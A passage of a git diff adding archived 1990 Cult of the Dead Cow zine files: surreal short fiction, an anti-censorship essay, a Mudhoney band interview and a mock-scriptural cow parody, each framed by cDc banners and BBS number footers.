away - she opened her mouth and +whispered, "Hello Harry, come join us, come join us...." Harry screamed, a +passer-by stopped and asked if he was ok. + + "Yes, I'm ok now, thank you," said Harry. He threw the magazine away +and stood waiting for the train. + + "Fucking lizard monkeys, always plaguing me. Harassing my doggie, who +only complains about it to me. Fuckers. I hate them all." + + The old train rolled into the station. Harry climbed into it and sat +down near the door. Next to him was a drooling old woman who looked at him +with a curiously vacant look. Harry shrugged his shoulders and looked away +from her, focusing on the beautiful woman sitting across from him. + + "Hello my dear penguin, have you anything for the bears?" asked Harry. + + "Why certainly, my dear hippopotamus. Do you like to frolic with the +cod?" she said. + + "Most of the time I just have to look at the pictures of the +politicians, if I can walk that far you know." + + "You are an interesting man, for a bread salesman that is. Would you +like to go to my cave and have some iced tuna?" + + "I must be going to my own apartment, perhaps I could bring you with. +That is only if you hit my doggie on the way in." + + "Sure, I can and will. Would you jump on my puppy?" she said, +extracting a cat from her blue vinyl bag. + + Harry reached out and gave the cat a pat on the head. The head rose up +and became a knife that threatened to spear his hand at the next pat. His hand +kept going only to pat the head of the cat again. "Oh christ, I better get +home quick," he thought and continued to talk to the girl with the blue bag. + + The train stopped, leaving Harry and the girl with the cat behind in +the gloom as it began its trek to other parts of the city. The girl followed +Harry through the streets towards his apartment. The cat curled up in the blue +bag and fell asleep. + + Harry was not paying attention to the girl. He looked at his watch, +stepping a bit faster as he saw it melt down his arm into a splatter on the +ground. The girl pulled on Harry's sleeve to get his attention and said, "Oh +look! A fish sauna! Can we stop there Harry?" pointing to a curved building +with a red neon goldfish floating in a smokey mist. + + "Have to get home, I'm running out of time," said Harry. + + "Time for what?" Harry ignored her again. + + They passed a 24 hour weapons shop when Harry began mumbling, "My +fingers are long, I keep tripping on them." The girl scratched her head, +unable to see Harry's fingers grow long enough to trip over. If there was +anything that was worth seeing it would be 3 foot long fingers, she thought +lustily. + + The wind started to pick up and before too long it was sending a +biting chill through Harry and the girl. He couldn't think of anything other +then getting home. Wind and cold were meaningless. Very little time. Harry +started to experience system malfunctions at an increasing rate. There would +be no way to get home. Stopping suddenly he took the package out of his pocket +and ripped off the wrapper. The two vials and a syringe that were in the +package were all that was important. It had to be the right dose; if he were +at home the computer would calculate how much was needed. Too little and his +skin would shred itself, but too much would kill him just as badly. + + Harry guessed at the amount of drug to pull into the syringe and then +bared his arm to the needle. "Here goes nothing," he said while plunging the +needle into his vein. Unfortunately, there wasn't enough in the syringe to +halt the disease and Harry managed to mutter a "shit" before his skin shredded +itself off. The girl watched the scene with horror and ran away, but not +before emptying his pockets and taking his valuables. + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |NIHILISM.............415/285-9453|The People Farm.......916/673-8412| + \ / |Tequila Willy's GSC..209/526-3194|The Bombay............714/897-0412| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Obscure Images. 06/22/90-#143| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0144.txt b/textfiles.com/groups/CDC/cDc-0144.txt new file mode 100644 index 00000000..ae21c6f0 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0144.txt @@ -0,0 +1,127 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Whose Morality? + by Tequila Willy + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + Quite recently, I was reading the August, 1990 issue of Playboy magazine +and it was reported that in the city of Cincinnati, "...no depictions of erotic +passion shall be allowed to disturb the moral equilibrium and civic serenity of +Tehran-on-the-Ohio." + + It further went on to explain that no depictions meant the censorship of +adult bookstores, adult movie theaters, peep shows, strip joints, pornographic +video cassettes, and raunchy skin magazines. + + Holy cow, I don't know about you folks, but I like sex! I like looking at +pictures of naked women. I think pornographic videos are great. Now I don't +view pornography every day, but I feel good knowing I have the right to legally +purchase such material from someone who is willing to sell it. + + Just who are these people that not only want to censor this material but +are successfully doing so? A wild guess might land us at the conclusion that +religious fanatics and ultra-conservative political organizations might be +behind this plot to violate your First Amendment Rights. By censoring messages +which they feel threatened by, these groups seem to think they are doing "God's +work." Personally, I think that this is un-Constitutional and un-American. + + This censorship is not only successful in banning pornography, but also in +banning the sale of 2 Live Crew's albums. Music stores are chock-full of +albums with stickers warning the purchaser of their highly immoral content. + + So what's the bottom line here? Morality. + + If morality is to dictate our actions, then we must ask ourselves what +morality is. Perhaps God has outlined morality for us. But, is there really a +God? As an empiricist I find no evidence supporting the existence of God and +therefore I must rationally conclude that God does not exist. After all, if I +am to believe in God I must do so out of faith and faith is defined as "...a +nonrational belief." + + If we can't rationally draw the foundation of morality from an outside +supreme being, then how can we dictate morality? First let's understand what +morality is. + +Morality: noun 1. conformity to the rules of right conduct; moral or virtuous +conduct. 2. sexual virtue. 3. moral quality or character. 4. the doctrine or +system of morals; ethics; duties... + + Now let's take another look at the situation of censorship. Let's pretend +we are in a position to make laws, or in a position to write laws which will +affect the people of this great nation. If Moniki Mombowazi, a lobbyist, tells +us that Hustler magazine is immoral and it should be banned, how should we +rationally decide the validity of such a claim? + + If morality is a doctrine or system of morals, ethics, and duties, then +where do we draw our ethical behavior from? Ethics ask us what prescriptions +for behavior or intentions are justified and how. In order to determine what +prescriptions for behavior are justified we must consider what is right or +wrong. Acts that bring us pleasure we tend to call good and acts that bring +pain we can call wrong. + + To expand on this idea let us consider the following example. If I am +hungry and I eat, my body rewards me with a good feeling of satisfaction. If I +leap out of a twenty foot tree, I may derive pleasure from the experience of +falling through the air, but my body responds with a negative feeling of pain +upon hitting the ground. My body seems to communicate to me what is good for +its survival and what is bad for its survival. My body rewards me when I do +things which perpetuate my existence. Eating then is ethical, while landing on +the ground after a twenty foot fall is not. + + Since I experience many people who appear to operate - at least +biologically - very similar to myself then it would be rational to assume that +they experience the world much as I do - though their interpretations may be +vastly different. With this in mind it would seem that if I were to inflict +pain on others then my behavior would be unethical because, as my body has +demonstrated to me, pain is wrong. Therefore, pleasure is ethical as long as +it does not infringe upon the pleasure of others. + + Now we have a logical and rational definition of a set of rules and +behaviors by which we can logically dictate morality. With this definition, +there is no reason to ban Hustler magazine. + + Censorship is designed to keep you docile and ignorant. Don't let it win. +Pornography may not be for you. Rock and Roll music may not be for you. Don't +let the religious fanatics decide what is for you. Don't let them turn America +into a nation of check-mailing nincompoops (in the name of Jesus Christ). + +_______________________________________________________________________________ + + This uncensored content of this official Cult of the Dead Cow text file +is protected by the Constitution of the United States. + + To learn more about the Constitution write: Constitution, Washington D.C. +20599. (The Commission on the Bicentennial of The U.S. Constitution.) +_______________________________________________________________________________ + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |Grassroots...........619/460-3249|NIHILISM..............415/285-9453| + \ / |The People Farm......916/673-8412|Tequila Willy's GSC...209/526-3194| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Tequila Willy. 07/23/90-#144| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0145.txt b/textfiles.com/groups/CDC/cDc-0145.txt new file mode 100644 index 00000000..f3238529 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0145.txt @@ -0,0 +1,179 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Sanctified + by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + The car rolled slowly down the twilit street as if trying to not wake +anyone up. The driver of the car, breathing in the cold sludgelike air, +struggled to remain conscious long enough to make it home. A tingling feeling +was beginning to develop at the base of his spine, ignored by the driver as he +lurched on down the street. + + Jason finally allowed himself a yawn as he pulled into a parking spot +in front of his apartment building. The building looked vaguely menacing in +the murky light that was beginning to batter its way through the smog. Another +long night, not much like the rest, or at least that is what he guessed. A +failing of his was that he was never able to remember what he did the night +before anymore. The trials and tri bulations of a drunkard, he thought as he +trudged up the stairs, his head thumping in rhythm with his feet. + + After fumbling for the locks on the door, Jason took off his ragged +wool long coat and threw it on the floor. Being nearly as dirty as the floor, +the coat blended in with its surroundings very well. In the kitchen area, +Jason poured himself a glass of water and popped a couple of sleeping pills +into his mouth. Setting down the glass, he tripped his way across the room to +his bed. + + Sleep comes quickly to Jason's exhausted systems. The world moves in +high speed, he is in a state of timelessness. The dreams are there, they are +always there, but the mixture of exhaustion and drugs keep them at bay. The +sun moves across the sky, baking the earth as it moves farther across the +heavens. It passes the horizon on the other side leaving a fleeting warmth +that lasts for a few hours after its departure. As the chill begins to wrap +its fingers around the city once again, Jason turns over and wakes up. + + The same old grind. No working, no real need to, the old man is paying +for nearly everything. He hasn't seen his father for more than a year now, his +father being too scared to venture into Jason's domain. It wasn't that they +didn't get along, Jason liked his father a lot, but they were just incapable of +interaction. + + Refreshed from the extended rest, Jason flips on the television to see +what is there. Thank god for cable television, there is always something on to +catch the eye. Of course, watching the television was supposed to be bad for +you, but who believes that shit anyway. + + The television twitters on, but the details are ignored. The TV never +sleeps, it is always there to keep someone company. Jason crosses the room and +scavenges through the cabinets in search of something to eat; finding nothing, +he makes a note to go get some food later. Moments after the note appeared, it +disappeared, not to reappear for months. + + Laying down on his bed, Jason tries to relax, letting the flickering +love of the television bathe him. After a few minutes he falls asleep again, a +light and easy slumber, but yet deep enough to dream. The buffers of the +earlier sleep are gone; without interference they enter his dreams. + + Colors burst inside Jason's head, the beings were there. Escape was +impossible once they're inside, so he decided to try and ride their stay out. +The light was blinding, there were reflections off of everything. For a moment +the intensity increased, causing Jason to writhe in pain, then the light dimmed +to a tolerable level. + + He was in a field of silver flowers and silk butterflies, the trees +were shining golden in the distance. The beauty was overwhelming, a paradise +beyond in comparison to any place that Jason had ever been before. In front of +him, some 25 meters away was an amazingly black platform with intricate gold +lettering on it. The lettering was indecipherable, in some cryptic language +that one such as he would not know. For some reason the impulse to sit down +pulled him to the ground. + + He waited for what seemed like hours, not being allowed to move from +his spot. His crossed legs went from normal to the needling pain of falling +asleep, to numbness, and ending at a pulsating warmth that exuded pleasure +throughout Jason's body. At the same time his eyes were pulled again to the +lettering on the pedestal. The warmth in his legs flowed through his body and +into his eyes. The letters began to melt, squirming around as if they were +alive. A pattern was forming, and soon the letters reformed into words that +Jason could understand. + + "To be at one with the universe one must first be cleansed," were the +words that were formed by Jason's lips upon seeing the gold against the +blackness. With the last syllable dying in the air, Jason's body, still +folded in a sitting position, floated off the ground and moved to a stationary +point several inches above the pedestal. + + The scenery fadeed into blackness; all that existed was the pedestal +and himself. A golden glow enveloped him, and 5 fiery golden apples began to +slowly orbit him. Jason's lips moved again uttering these words, "The +cleansing is now." The apples moved faster and lost their shape, +transformed into looking simply like balls of fire. Faster and faster the +shapes began to orbit closer to his body, and when it seemed that there was no +more speed to be gathered, the apples turned inward and slammed into his body. +There was a terrific flash of light with the now erect form of Jason flailing +in the middle of it. + + The pain was intense; it felt as if he were being shredded apart +molecule by molecule, which wasn't very far from the truth. As the light grew +brighter his appearance changed, skinny body replaced with a lightly muscled, +completely healthy looking body. Of course this was only a form, one of many +possibilities. Jason's brain was restructured, containing large amounts of +information about his purpose. + + The light faded away and Jason passed out to dream uneventfully for a +while longer and to recover. Waking up, the television is still flickering, +some old kung fu movie is on. Surprisingly, Jason feels good, more alive than +he had in a long time. Remembering his dream, he is shocked to find that the +information he had acquired was still in there. He gets a glass of water and +sits down in a chair to try and sort things out. + + His memories say that he is a special person, with a special code +embedded in his genetic structure that make him the target of the beings. The +beings, he finds out are not aliens who invade his dreams to frighten him; they +are in reality others like him searching out their brothers. His job, he +discovers, is to find a certain number of others like him, upon which point he +will have earned his way into the Great City. + + The cleansing of outdated genetics made Jason a completely new person, +with powers to hunt down and guide others through their cleansings. He seems +to be virtually godlike. His memory tells of the Great City and the life that +awaits him there, making his powers in this world seem insignificant. The +initiation was necessary, however, for on the road to the Great City there are +vast amounts of knowledge to be learned. When enough of the instructions of +the elders are gathered, each piece to be delivered upon completion of +initiation, one can move on to the Great City where the road ends and the true +education begins. + + Jason completes several cleansings and begins to meet other of his +brothers on the way to the Great City; he is excited to continue forward along +the road. Hundreds of years pass by in a blur of existence, yet Jason has not +attained the Great City. Time has a way of losing meaning after a while. +Eventually the gates of the Great City are in sight, yet when he passes the +gates into town he is shocked to find only one building. Nothing but a small +wooden shack where he had seen grand towers. He enters the building and the +guardian speaks to him, knowing the expression on his face from endless +travelers before. "There is no Great City, you see. There is only the road." + + Jason looks at the guardian with disgust and says, "This is fucking +pointless, this whole fucking existence is for nothing." + + The guardian smiles and replies, "You've learned the last lesson. +You've traveled the long road of knowledge and finally came to the right +conclusion. You've earned your passage, go on in." He points to a new door +that appears in the back of the hut. Puzzled but curious, Jason walks through +the doorway into the Great City. The guardian sighs as Jason closes the door. +Another traveler walks in to the shack, and after a few words from the guardian +walks back outside and down the endless road. + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |Grassroots...........619/460-3249|NIHILISM..............415/285-9453| + \ / |The People Farm......916/673-8412|Tequila Willy's GSC...209/526-3194| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Obscure Images. 07/23/90-#145| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0146.txt b/textfiles.com/groups/CDC/cDc-0146.txt new file mode 100644 index 00000000..c0be6447 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0146.txt @@ -0,0 +1,160 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Mudhoney Interview + by G.A. Ellsworth + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + Interview with Mark Arm of Mudhoney with appearances by Steve and Dan +(of Mudhoney) and Blag Jesus (of the Dwarves) on July 17th, 1990 in San +Francisco. Interviewed by G.A. Ellsworth. + + +Me: Are the rumors true? Are you breaking up after this tour? + +Mark: Ask Steve. + +Me: Steve? + +Steve: Why's everyone asking me, man? + +Dan: Not after this tour.... + +Steve: (cutting off Dan) Yeah we are ok? Ok? Ok? Dan's the new drummer for +oops sorry there Dan. Dan's the new drummer for Nirvana, and I'm in a band +called Sad & Lonelies, and I'm going to be paid a LOT of money to do it. + +Mark: And I'm helping to revive Catbutt. + +Steve: Sad and Lonelies is like this band like it's like this kind of studio +thing, but they got fucking like signed to Epic. And like I'm on a fucking +payroll starting January 1st, fucking $5000 a month, fucking figure that out +huh? Jesus Christ I'll do it. Fucking LATER MUDHONEY, bunch of LOSERS. + +Me: I was just going to ask you for some dirt on Catbutt knowing how they +fucked over Subpop, but if you are going to be working with them, I guess you +don't wanna give me any dirt. + +Mark: Uh, no. + +Me: Where's the last Mudhoney show gonna be? + +Mark: Probably in somewhere in Australia or maybe Seattle or something I don't +know. + +Steve: There is no last show as such. + +Mark: Yeah, there probably may never be a last show. + +Steve: We're gonna keep getting back together once a year because the money +will be good enough. It really all comes down to dollars and cents. That's +the way I like to put it. Rock n Roll is dollars and common sense. If you +play it right, you fucking got it. + +Me: Is that Subpop philosophy? + +Mark: No. That's ours. It's probably a lot more than just ours too. + +Me: How much stuff did Green River release? + +Mark: Apparently not enough because I'd be a lot richer if we did. And the DRY +AS A BONE thing and the REHAB DOLL thing and there was the single we did +ourselves. + +Groupie: Address go.. + +Mark: 600 East Dollan St #307, Seattle, Washington...(turning to me) You're not +going to start sending me weird packages are you? + +Me: Tell me about Bruce Pavitt of Subpop. Did he really blow all those people? + +Mark: Oh yeah, those T-shirts that say BRUCE PAVITT GAVE ME HEAD. Well, he +gave some of us head. Once you get a T-shirt out there's a couple people who +are gonna be wearing it for the show aspect of it. Bunch of posers and shit. +People posing as like Bruce Pavitt penile desires. But, he has given a lot of +people head. But not as many people as there are T-shirts. In fact, I don't +have a T-shirt and he's given me head. + +Me: Do you know anything about computers or hacking? + +Mark: The only thing I know about computers is that when we started, Bruce and +Jonathan and us like all went together and we figured out what would sell in +the underground market. We were thinking like Stooges, a little Blue Cheer, a +little Discharge here and there, Minor Threat you know. Stuff that's gonna be +cool. We plugged it into the computer and it started writing songs for us. +And that's how we came about really. Also, in terms of like personnel of this +band, after Green River broke up we plugged in a bunch of names and we figured +out who would be best to play what instrument and we asked them and... + +Me: So Subpop started out as a magazine right? + +Mark: Yeah, it originally started out as like a fanzine in the early '80s. And +every few issues it would do this cassette issue with all these bands from +different areas of the United States, like it had Wipers and Pel Mel(sp) like +Boston, different scenes. + +Me: How many were there? + +Mark: I think there were 9 or 11 of them. + +Me: Are you aware of all the Mudhoney bootlegs that are circulating? + +Mark: Yeah, I've seen a couple. I'll bet they suck. + +Me: Have anything to say about Barry Hensler? (From Big Chief/Necros) + +Mark: Barry Hensler likes Anna. She's originally from Ann Arbor. + +Steve (talking to Mark): Ok check this out, tomorrow night, the Dwarves can +make it back in time to cameo appear onstage while we're onstage. We stop +playing a song, give them all our instruments- + +Mark: OH NO! They're gonna break everything! + +Steve: Without any kind of announcement they play two songs, they get off, no +announcement, nothing is said about it, we just then resume our set. + +Mark: In the middle of it? That'd be great. + +Dan: If you guys fuck our equipment up you'll never play Portland! + +Blag Jesus: We wanted to open the show anyway... so you want to do that? + +Mark: We should do it right in the middle where I change guitars! + +Steve: Yeah, that'd be great! The cue will be, "Go!" + +Me: Thanks. + +Mark: Yeah, see ya later. + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |Grassroots...........619/460-3249|NIHILISM..............415/285-9453| + \ / |The People Farm......916/673-8412|Tequila Willy's GSC...209/526-3194| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by G.A. Ellsworth. 07/23/90-#146| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0147.txt b/textfiles.com/groups/CDC/cDc-0147.txt new file mode 100644 index 00000000..4fb39373 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0147.txt @@ -0,0 +1,82 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Dance of the Cow + by Akira + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + + ...And so it was in those days that Cow did come forth, having forsaken +the peace of death in return for the promise of renewed glory... and the +Dancers of the Cow were plentiful, fulfilling the ancient rites with their +purity and self-cleansing. The Chant did spring forth onto the Land, and +throughout the World, to every corner of the Earth, did the haunting lilt of +the Chant extend. The wind did carry the name of Cow to all who listened. +"May the Promise of Bovine Restfulness be with us all. Let Humanity know that +Cow has returned." Thus did the cry ring out - over hill, over dale did the +name of Cow extend, until the Universe chanted in rhythm with the Dancers. The +Holy Circle did expand, yea, unto a tumultuous whirlpool of raw emotion and +festivity. + + ...And Cow did proclaim with all heartfelt sincerity to those assembled, +"Moo." The four winds blew across the world, taking Cow's wisdom wherever +they went. + + The audience of the Cosmos replied, as one, "We listen and we +obey, O Cow!" + + But soon did the Evil One come forth, proclaiming to the Dancers of the +Cow that their deeds were reprehensible, that the wondrous fluids and juices of +Cow could ne'er again be used, that any follower of Cow who danced to the +Rhythm would be forever imprisoned in The Pit. The Dancers were wary, and yea, +brother did turn against brother, and servant upon master, and pupil upon +teacher. Dark times descended upon the followers of Cow, the cry extending +over all the Earth. "Why hast thou forsaken us, O Cow? Where are thy wondrous +elixirs and potions? Thy powerful lows of wisdom which rain down upon us like +a fountain of spittle?" But the Cow did not make its presence known. The +followers of Cow did weep and wail and rend their garments and smear themselves +with the sacrificial ashes, and still was Cow nowhere to be found. + + And in those days there was a thunderous roaring in the Heavens, and the +High Priestess of Cow did proclaim to those who mourned, "Cow battles with +the Evil One!" And so the Call went forth for all who knew of Cow to come +together and aid in the defeat of the Evil One, he who did proclaim that Cow's +wondrous fungal miracles were abomination. The days, verily the years, passed; +still the battle in the Heavens raged on... until, in the depths of the darkest +night, the rumble ceased. All who followed Cow looked to the Heavens, praying +that they may be rescued from this dark turn of events... and lo! An app- +arition formed in the Heavens! Cow bellowed forth triumphantly! Tremendous +amounts of milk of knowledge and cud of wisdom and juice of happiness beyond +all tally and imagination did rain from the Heavens, and all was suddenly +silent. The Heavens were stilled, and Cow did return to the Dancers, and the +Dancers of Cow did rejoice long after... + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |Grassroots...........619/460-3249|NIHILISM..............415/285-9453| + \ / |The People Farm......916/673-8412|Tequila Willy's GSC...209/526-3194| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Akira. 07/23/90-#147| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0148.txt b/textfiles.com/groups/CDC/cDc-0148.txt new file mode 100644 index 00000000..a65652c1 --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0148.txt @@ -0,0 +1,180 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... The Burn Turns Two Into One + Part 2 by Obscure Images + + >>> a cDc publication.......1990 <<< + -cDc- CULT OF THE DEAD COW -cDc- + ______________________________________________________________________________ + + (continued from cDc #140) + +Chapter 3: Sweetness In The Air + + Paul threw his portfolio and carrying bag into a corner of his room, +flipped the television on, and flopped down on the bed. This was another of +the many rituals that made up Paul Selby's life. Today it was not only ritual, +it was necessity. After walking quickly from the art building, the less-than- +fit Paul needed to take a breather. The door opened as Paul's overheated +systems cooled themselves off, and Lisa walked in having just taken a shower. + + "Ah, I see you've finally decided to show up," she said gruffly, +closing the door. + + "It was really fucking cool today, Lisa; I got the flow back, man. It +was really trippy. I was just sitting there zoned as usual and all of a sudden +I had a vision and I had to paint it," yelped Paul in the hyperkinetic voice he +always got when he was excited. + + "You really should go take a shower soon, we have to get going pretty +quick," she said, carefully ignoring Paul's last speech. That could be heard +later. If they were going to ever make it to dinner, she'd have to get him +moving. + + "Oh yeah," said Paul, "I'll tell you about it later." + + Paul took off his clothing and threw it into the dirty pile; then he +went to the closet to put on his robe and wandered down the hallway, his head +lost in the events of the day. Meanwhile, Lisa wondered about Paul while +putting on her clothes. It's amazing how a person like Paul can successfully +exist in the real world, she thought. One minute he can be painfully inert, +and then in a fraction of a second he can be bouncing off the walls. Still, +she loved him, or at least she thought that the feeling that she had for him +could be called love. He wasn't a real prize; all of her girl friends like him +but can't figure out why she'd want to live with him. He is kinda dopey +looking, and he certainly needs to lose some weight; but then again, so do I, +she thinks. Her mind turns away from her reasoning of why she loved Paul, best +not to think about something like that. The feeling is there, and that is all +that matters. She turns her attention to the figure in the mirror, putting +makeup on her pale face. Paul doesn't understand why she needs to wear makeup, +but then again Paul doesn't understand a lot of things about women. + + The door opens up again, revealing a wet-haired Paul. The door closes +and he leans up against it with a strange look in his eyes. Of course Lisa +knows that look very well, it's his "wow, she's really beautiful" look. +Naturally, as the ritual moves on, he opens his mouth and says, "Wow, you're +really beautiful." Lisa has to laugh, at least on the inside. It's always +nice how he can do the same things time again and still keep them fresh. He +puts the robe away and starts fishing in his drawers for some clean clothes. +Lisa watches with interest, even though she's seen him in the nude thousands of +times, he's still funny to watch. She felt a surge of happiness for some +reason and if he wouldn't have been still dripping wet she'd have grabbed him +and given him a kiss. However ugly he was, she still found him attractive for +whatever reason. + + They finally finished preparing for dinner and, dressed in their best +clothing, left the house to go to the restaurant. The restaurant was the one +fancy place in DeKalb, and it was also priced the highest. It didn't really +matter, the two of them had been saving up for a while for a good night out on +the town, even if there wasn't much of a town. + + "What'd you do today?" asked Paul + + "Oh, I had to do some dipshit work on a project for soshe. I ran into +a couple people though and we went out to lunch, it was a good time. What were +you saying earlier about your painting?" + + "Oh it wasn't a really big thing, but I finally got myself working on a +painting again. I've got a show coming up before too long and I was starting +to get worried about it." + + "No need to worry, I figured you'd catch the flow again one of these +days. Oh yeah, how was Jim doing?" + + Laughing for a second, Paul replied, "Jim is painting frantically +trying to get all his work done. He's no fun when he's rushing around like +that." + + "No, I suppose not," she said. + + At that point the food arrived on the table and they broke off the +conversation to eat. Paul began to daydream about Lisa as he worked on his +food. It was like seeing visions, Lisa's radiant nude form reclining on a +polished black table, with a completely black man in his own form hovering +above. + + Lisa detached herself from her food and thought about what exactly Paul +was doing. There were times where he suddenly seemed to vacate his body, like +now for instance. He started to eat, and then it looked like his body was +running itself while he left for a while. She wondered what he was thinking +about when he did that. The food was really good, but Lisa was anxious for the +meal to move on, she had more interesting things planned for after dinner. + + They finished the meal not too long after that, so they paid the bill +and walked out into the chilly DeKalb air. The plan was to go to a movie, but +when they got to his car Lisa decided to change the plan. Paranoid as usual, +Paul wondered about the sudden change in plans, and what he did wrong to make +her want to cut the date short. They pulled into the parking space and got out +of the car. Paul was about to follow Lisa up the stairs to their room when she +told him to go hang around in the living room for a half-hour before coming +upstairs. Shrugging, Paul wandered into the living room where Jim and some of +the guys were watching television. + + "Hey Stud, why you home so early? Have a bad time?" asked Jim. + + "I don't know, it's really weird, we were on our way to the movies and +she said that she wanted to go back here, then when we get here we start up the +stairs to the room and she told me to come hang out here for a bit and then to +come up there," said Paul. + + "Heavy, man, that's really weird," said the longhair that they called +Puffin. + + Paul sat down on the couch next to Puffin and vaguely watched whatever +was on television while chatting with Jim and Puffin. Apparently, Puffin was +holding two hits of acid and gave them to Paul. "Pretty good shit" according +to Puffin. He pocketed the hits and left to go up to the room to see what was +with Lisa. + + He climbed the stairs and then knocked on the door to let her know that +he was there. She told him to come in, so he opened the door enough to get in +and entered, closing the door after himself. The light was dim, the only +illumination coming from two candles lit in the middle of the room. His eyes +began to adjust and then Lisa stepped into the candlelight. She was looking +better than he could recall her ever looking. Her body was cloaked in an +appealingly arranged black silky gauze. It flowed smoothly over her curves +making her look like some kind of Egyptian princess. In her hands were two +silver goblets with champagne in them. Handing one of them to Paul, she draped +her arm around his waist. She looked up into his eyes and they kissed. After +the kiss, they each took a drink, and remembering the tabs of acid in his +pocket, they decided to take the drug and then move on to more private things. +Thirty minutes later, the clothing flowed away from their bodies, their +necessity having passed quite some time before. + ______________________________________________________________________________ + +Well you bring me color where once I had just black and white +Now I have rainbows appearing 'round here in the night +Our true love is growing +And passion is flowing +Well I don't need any cigarettes, or beer from a jug, +You're my drug. + + -Dukes Of Stratosphear, "You're My Drug" + + _ _ ____________________________________________________________________ +/((___))\|The Dead Zone........214/522-5321|Demon Roach Undrgrnd..806/794-4362| + [ x x ] |Grassroots...........619/460-3249|NIHILISM..............415/285-9453| + \ / |The People Farm......916/673-8412|Tequila Willy's GSC...209/526-3194| + (' ') |Lunatic Labs.........213/655-0691|The Works.............617/861-8976| + (U) |====================================================================| + .ooM |(c)1990 cDc communications by Obscure Images. 07/23/90-#148| +\_______/|All Rights Pissed Away. | + diff --git a/textfiles.com/groups/CDC/cDc-0149.txt b/textfiles.com/groups/CDC/cDc-0149.txt new file mode 100644 index 00000000..f14cbd5b --- /dev/null +++ b/textfiles.com/groups/CDC/cDc-0149.txt @@ -0,0 +1,176 @@ + + _ + | \ + | \ + | | \ + __ | |\ \ __ + _____________ _/_/ | | \ \ _/_/ _____________ + | ___________ _/_/ | | \ \ _/_/ ___________ | + | | _/_/_____ | | > > _/_/_____ | | + | | /________/ | | / / /________/ | | + | | | | / / | | + | | | |/ / | | + | | | | / | | + | | | / | | + | | |_/ | | + | | | | + | | c o m m u n i c a t i o n s | | + | |________________________________________________________________| | + |____________________________________________________________________| + + ...presents... Rural Hell + by THE NIGHTSTALKER + + >>> a cDc publication.......1991 <<< + 